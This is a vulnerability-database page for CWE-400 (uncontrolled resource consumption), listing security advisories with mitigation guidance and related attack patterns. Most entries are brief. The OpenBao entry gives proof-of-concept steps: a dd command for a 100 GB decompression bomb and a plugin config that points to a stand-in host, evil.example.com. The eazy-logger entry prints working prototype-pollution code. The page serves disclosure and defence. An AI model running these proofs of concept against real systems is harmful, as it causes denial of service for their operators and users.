CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5422 vulnerabilities reference this CWE, most recent first.
GHSA-R5PX-RVMJ-P634
Vulnerability from github – Published: 2022-06-29 00:00 – Updated: 2022-07-08 00:00The gf_bs_write_data function in GPAC 1.0.1 allows attackers to cause a denial of service via a crafted file in the MP4Box command.
{
"affected": [],
"aliases": [
"CVE-2021-40606"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-28T13:15:00Z",
"severity": "MODERATE"
},
"details": "The gf_bs_write_data function in GPAC 1.0.1 allows attackers to cause a denial of service via a crafted file in the MP4Box command.",
"id": "GHSA-r5px-rvmj-p634",
"modified": "2022-07-08T00:00:46Z",
"published": "2022-06-29T00:00:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40606"
},
{
"type": "WEB",
"url": "https://github.com/gpac/gpac/issues/1885"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5411"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R62F-9J49-PFM3
Vulnerability from github – Published: 2026-05-28 21:32 – Updated: 2026-05-28 21:32Vulnerability in Oracle REST Data Services (component: Core). Supported versions that are affected are 24.2.0-26.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle REST Data Services. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle REST Data Services accessible data as well as unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-35277"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-28T21:16:29Z",
"severity": "HIGH"
},
"details": "Vulnerability in Oracle REST Data Services (component: Core). Supported versions that are affected are 24.2.0-26.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle REST Data Services. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle REST Data Services accessible data as well as unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).",
"id": "GHSA-r62f-9j49-pfm3",
"modified": "2026-05-28T21:32:04Z",
"published": "2026-05-28T21:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35277"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspumay2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R62F-9X32-57F4
Vulnerability from github – Published: 2026-03-06 18:31 – Updated: 2026-03-10 18:31Binutils objdump contains a denial-of-service vulnerability when processing a crafted binary with malformed DWARF debug information. A logic error in the handling of DWARF compilation units can result in an invalid offset_size value being used inside byte_get_little_endian, leading to an abort (SIGABRT). The issue was observed in binutils 2.44. A local attacker can trigger the crash by supplying a malicious input file.
{
"affected": [],
"aliases": [
"CVE-2025-69645"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-06T18:16:16Z",
"severity": "MODERATE"
},
"details": "Binutils objdump contains a denial-of-service vulnerability when processing a crafted binary with malformed DWARF debug information. A logic error in the handling of DWARF compilation units can result in an invalid offset_size value being used inside byte_get_little_endian, leading to an abort (SIGABRT). The issue was observed in binutils 2.44. A local attacker can trigger the crash by supplying a malicious input file.",
"id": "GHSA-r62f-9x32-57f4",
"modified": "2026-03-10T18:31:14Z",
"published": "2026-03-06T18:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69645"
},
{
"type": "WEB",
"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33637"
},
{
"type": "WEB",
"url": "https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=cdb728d4da6184631989b192f1022c219dea7677"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R65H-347C-JJP4
Vulnerability from github – Published: 2022-05-01 07:34 – Updated: 2025-04-03 18:30QUALCOMM Eudora WorldMail 4.0 allows remote attackers to cause a denial of service, as demonstrated by a certain module in VulnDisco Pack. NOTE: The provenance of this information is unknown; the details are obtained solely from third party information. As of 20061118, this disclosure has no actionable information. However, because the VulnDisco Pack author is a reliable researcher, the issue is being assigned a CVE identifier for tracking purposes.
{
"affected": [],
"aliases": [
"CVE-2006-6025"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-11-21T23:07:00Z",
"severity": "MODERATE"
},
"details": "QUALCOMM Eudora WorldMail 4.0 allows remote attackers to cause a denial of service, as demonstrated by a certain module in VulnDisco Pack. NOTE: The provenance of this information is unknown; the details are obtained solely from third party information. As of 20061118, this disclosure has no actionable information. However, because the VulnDisco Pack author is a reliable researcher, the issue is being assigned a CVE identifier for tracking purposes.",
"id": "GHSA-r65h-347c-jjp4",
"modified": "2025-04-03T18:30:27Z",
"published": "2022-05-01T07:34:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-6025"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22836"
},
{
"type": "WEB",
"url": "http://web.archive.org/web/20060502082622/www.gleg.net/vulndisco_pack_professional.shtml"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/21099"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R65V-XGWC-G56J
Vulnerability from github – Published: 2026-04-21 18:24 – Updated: 2026-04-21 18:24Summary
ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written.
An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.
The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.
Details
Root cause
helper/pluginutil/oci/downloader.go:301:
if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {
io.Copy() reads until EOF with no size limit.
The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.
PoC
- Set up a malicious OCI registry
- Create a decompression bomb binary:
bash dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary - Package it in a minimal OCI image
- Push to the malicious registry
- Configure victim OpenBao to use this registry:
hcl plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binary_name = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } plugin_auto_download = true - Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS
Impact
- Denial of Service: Disk exhaustion on the OpenBao server
- Cascading failure: Co-located services (databases, other apps) also fail when the disk is full
- Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up
- Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded
Remediation
- Validate
header.Sizeagainst a configurable maximum before opening the output file - Wrap
tarReaderinio.LimitReader(tarReader, maxSize+1)and check bytes written after copy - Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openbao/openbao"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260420180337-2b2a901aa9f7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39396"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T18:24:10Z",
"nvd_published_at": "2026-04-21T01:16:06Z",
"severity": "LOW"
},
"details": "### Summary\n\n`ExtractPluginFromImage()` in OpenBao\u0027s OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written.\nAn attacker who controls or compromises the OCI registry referenced in the victim\u0027s configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.\n\nThe SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature.\n\n### Details\n\n#### Root cause\n\n`helper/pluginutil/oci/downloader.go:301`:\n\n```go\nif _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {\n```\n\n`io.Copy()` reads until EOF with no size limit. \nThe tar `header.Size` field is never validated before the copy, and `mutate.Extract` decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.\n\n### PoC\n\n1. Set up a malicious OCI registry\n2. Create a decompression bomb binary:\n ```bash\n dd if=/dev/zero bs=1G count=100 \u003e /tmp/bomb-binary\n ```\n3. Package it in a minimal OCI image\n4. Push to the malicious registry\n5. Configure victim OpenBao to use this registry:\n ```hcl\n plugin \"secrets\" \"bomb\" {\n image = \"evil.example.com/plugin\"\n version = \"v1.0.0\"\n binary_name = \"openbao-plugin-secrets-bomb\"\n sha256sum = \"0000000000000000000000000000000000000000000000000000000000000000\"\n }\n plugin_auto_download = true\n ```\n6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -\u003e cause DoS\n\n### Impact\n\n- Denial of Service: Disk exhaustion on the OpenBao server\n- Cascading failure: Co-located services (databases, other apps) also fail when the disk is full\n- Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up\n- Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded\n\n### Remediation\n\n1. Validate `header.Size` against a configurable maximum before opening the output file\n2. Wrap `tarReader` in `io.LimitReader(tarReader, maxSize+1)` and check bytes written after copy\n3. Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)",
"id": "GHSA-r65v-xgwc-g56j",
"modified": "2026-04-21T18:24:10Z",
"published": "2026-04-21T18:24:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/security/advisories/GHSA-r65v-xgwc-g56j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39396"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/pull/2941"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/commit/af576af5322c6552a017ad10fd76aa4f40fd021e"
},
{
"type": "PACKAGE",
"url": "https://github.com/openbao/openbao"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/releases/tag/v2.5.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)"
}
GHSA-R6P6-7Q5H-JC4X
Vulnerability from github – Published: 2024-05-23 09:30 – Updated: 2024-05-23 09:30An issue has been discovered in GitLab CE/EE affecting all versions before 16.10.6, version 16.11 before 16.11.3, and 17.0 before 17.0.1. A runner registered with a crafted description has the potential to disrupt the loading of targeted GitLab web resources.
{
"affected": [],
"aliases": [
"CVE-2024-2874"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-23T07:15:08Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions before 16.10.6, version 16.11 before 16.11.3, and 17.0 before 17.0.1. A runner registered with a crafted description has the potential to disrupt the loading of targeted GitLab web resources.",
"id": "GHSA-r6p6-7q5h-jc4x",
"modified": "2024-05-23T09:30:28Z",
"published": "2024-05-23T09:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2874"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2426166"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/451911"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R6RV-M68G-FVJQ
Vulnerability from github – Published: 2022-05-14 01:33 – Updated: 2022-05-14 01:33An issue was discovered in WTCMS 1.0. It allows remote attackers to cause a denial of service (resource consumption) via crafted dimensions for the verification code image.
{
"affected": [],
"aliases": [
"CVE-2019-8909"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-18T18:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in WTCMS 1.0. It allows remote attackers to cause a denial of service (resource consumption) via crafted dimensions for the verification code image.",
"id": "GHSA-r6rv-m68g-fvjq",
"modified": "2022-05-14T01:33:31Z",
"published": "2022-05-14T01:33:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8909"
},
{
"type": "WEB",
"url": "https://github.com/taosir/wtcms/issues/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R75X-RQWG-MQHC
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-07-13 00:01The server in Luca through 1.1.14 allows remote attackers to cause a denial of service (insertion of many fake records related to COVID-19) because Phone Number data lacks a digital signature.
{
"affected": [],
"aliases": [
"CVE-2021-33840"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-04T00:15:00Z",
"severity": "HIGH"
},
"details": "The server in Luca through 1.1.14 allows remote attackers to cause a denial of service (insertion of many fake records related to COVID-19) because Phone Number data lacks a digital signature.",
"id": "GHSA-r75x-rqwg-mqhc",
"modified": "2022-07-13T00:01:26Z",
"published": "2022-05-24T19:04:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33840"
},
{
"type": "WEB",
"url": "https://gitlab.com/lucaapp/web/-/issues/1#note_560963608"
},
{
"type": "WEB",
"url": "https://luca-app.de/securityoverview/processes/guest_registration.html#verifying-the-contact-data"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R7JX-5M6M-CPG9
Vulnerability from github – Published: 2025-02-06 06:31 – Updated: 2025-04-07 12:34A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.
An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., child_process.exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
Proof of Concept
(async () => {
const lib = await import('eazy-logger');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.Logger (JSON.parse('{"__proto__":{"pollutedKey":123}}'))
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.1"
},
"package": {
"ecosystem": "npm",
"name": "eazy-logger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-57075"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-06T23:31:34Z",
"nvd_published_at": "2025-02-05T22:15:31Z",
"severity": "HIGH"
},
"details": "A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.\n\nAn attacker can supply a payload with `Object.prototype` setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., `child_process.exec`, `eval`), it could enable an attacker to execute arbitrary commands within the application\u0027s context.\n\n## Proof of Concept\n\n```js\n(async () =\u003e {\nconst lib = await import(\u0027eazy-logger\u0027);\nvar someObj = {}\nconsole.log(\"Before Attack: \", JSON.stringify({}.__proto__));\ntry {\n// for multiple functions, uncomment only one for each execution.\nlib.Logger (JSON.parse(\u0027{\"__proto__\":{\"pollutedKey\":123}}\u0027))\n} catch (e) { }\nconsole.log(\"After Attack: \", JSON.stringify({}.__proto__));\ndelete Object.prototype.pollutedKey;\n})();\n```",
"id": "GHSA-r7jx-5m6m-cpg9",
"modified": "2025-04-07T12:34:01Z",
"published": "2025-02-06T06:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57075"
},
{
"type": "WEB",
"url": "https://github.com/shakyShane/eazy-logger/commit/a8baa6fe441d19ffa9916eba367016b7937a28fd"
},
{
"type": "WEB",
"url": "https://gist.github.com/tariqhawis/c601f7f85146510ca899a7406a03aba5"
},
{
"type": "PACKAGE",
"url": "https://github.com/shakyShane/eazy-logger"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "eazy-logger prototype pollution"
}
GHSA-R7M3-V6C2-V4VR
Vulnerability from github – Published: 2026-05-28 21:32 – Updated: 2026-05-28 21:32Uncontrolled Resource Consumption (CWE-400) in Kibana can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user holding a low-privileged role can submit a specially crafted, oversized payload to an internal Kibana API, causing the Kibana process to exhaust available resources and become unresponsive to all users until the service recovers or is restarted.
{
"affected": [],
"aliases": [
"CVE-2026-33464"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-28T20:16:23Z",
"severity": "MODERATE"
},
"details": "Uncontrolled Resource Consumption (CWE-400) in Kibana can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user holding a low-privileged role can submit a specially crafted, oversized payload to an internal Kibana API, causing the Kibana process to exhaust available resources and become unresponsive to all users until the service recovers or is restarted.",
"id": "GHSA-r7m3-v6c2-v4vr",
"modified": "2026-05-28T21:32:03Z",
"published": "2026-05-28T21:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33464"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-8-19-16-9-3-5-9-4-1-security-update-esa-2026-32/386548"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.